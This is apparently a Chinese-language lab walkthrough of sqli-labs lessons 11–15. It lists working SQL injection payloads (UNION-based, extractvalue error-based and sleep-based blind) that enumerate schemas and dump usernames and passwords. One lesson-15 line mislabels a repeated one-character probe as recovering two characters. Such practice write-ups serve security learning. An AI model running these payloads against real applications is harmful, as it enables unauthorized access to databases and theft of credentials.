- sqli-labs
less11
用户名和密码均输入admin
用户名改为admin’时出现报错
用户名又改为admin–+出现同样报错
admin'#
回显正常,说明注入方式为’ ’
admin' order by 2#
回显正常,说明又两个字段
0' union select 1,database()#
说明数据库名为security
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名
0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
得到字段
0' union select group_concat(username),group_concat(password) from users#
得到用户名及其对应的密码
less12
admin")#
回显正常,注入方式为(" ")
admin") order by 2#//查询字段数,说明字段数为2
0") union select 1,database()#//查询数据库名为security
0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#//查询表名
0") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#//查询字段
0") union select group_concat(username),group_concat(password) from users#//查询用户名及其密码
less13
admin')#
得到的回显正常,但是是空白的
admin') order by 2
回显正常,字段数为2
1') and extractvalue(1, concat(0x7e, database(),0x7e))#//extractvalue报错注入(payload构造)
得到数据库名
1') and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
得到 表名
1') and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))#
得到字段
1') and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))#
得到用户名(不全 )
1') and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))#
得到密码(不全 )
less14
admin"#
回显正常,为空白,和13题一样
admin" order by 2#//说明字段数为2
1" and extractvalue(1, concat(0x7e, database(),0x7e))#//得到数据库名
1" and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#//得到表名
1" and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))#//得到字段
1" and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))#//得到用户名(不全)
1" and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))#//得到密码(不全)
less15
这道题和之前的9和10一样需要时间盲注
admin' and sleep(5)#
延迟,说明闭合方式为’ ’
admin' and if(length(database())=8,sleep(5),1)#
延迟,得到数据库名长为8
admin' and if(left(database(),1)='s',sleep(5),1)#
得到数据库名第一位为s
admin' and if(left(database(),1)='s',sleep(5),1)#
得到数据库名前两位为se,推测为security
admin' and if(left(database(),8)='security',sleep(5),1)#
验证得到,数据库名为security
admin' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1)#
说明第一个表名长度为6
admin' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),1)#
得到第一个表的表名的第一位为e
admin' and if(length((select column_name from information_schema.columns where table_name='emails' limit 1,1))=8,sleep(5),1)#
得到第二个字段名的长度为8
admin' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',sleep(5),1)#
得到第二个字段名的第一位为u
admin' and if(length((select username from users limit 0,1))=4,sleep(5),1)#
得到用户名长度
admin' and if(substr((select username from users limit 0,1),1,4)='Dumb',sleep(5),1)#
得到第一个用户名为Dumb
依次更改可得到相应数据